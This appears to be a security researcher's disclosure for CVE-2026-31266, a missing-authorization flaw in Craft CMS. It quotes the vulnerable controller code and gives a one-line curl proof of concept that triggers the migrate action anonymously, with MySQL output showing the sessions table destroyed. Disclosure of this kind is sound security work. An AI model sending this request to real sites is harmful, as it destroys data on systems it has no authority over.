CVE-2026-31266 - Craft CMS Missing Authorization

CVE Information

Evidence Contents

• screenshots/ - Proof of Concept demonstrations

Vulnerability

• Type: Missing Authorization
• Impact: Authentication Bypass
• Vendor: Craft CMS
• Status: CVE-2026-31266

Vulnerable Code

File: src/controllers/AppController.php

Lines 65-68:

protected array|bool|int $allowAnonymous = [
    'migrate' => self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE,
];

Proof of Concept

# With allowAdminChanges=false
curl -X POST "http://target/actions/app/migrate"

Evidence

Before Attack:

mysql> SELECT COUNT(*) FROM sessions;
+----------+
| COUNT(*) |
+----------+
|        0 |
+----------+

After Attack:

mysql> SELECT COUNT(*) FROM sessions;
ERROR 1146 (42S02): Table 'sessions' doesn't exist

References

• Craft CMS Repository
• Craft Security Documentation
• NVD Entry

Contact

• Security Researcher: 0xRIXET | Mohammed Al-shehri
• Twitter | X : @0xRIXET
• Email: [email protected]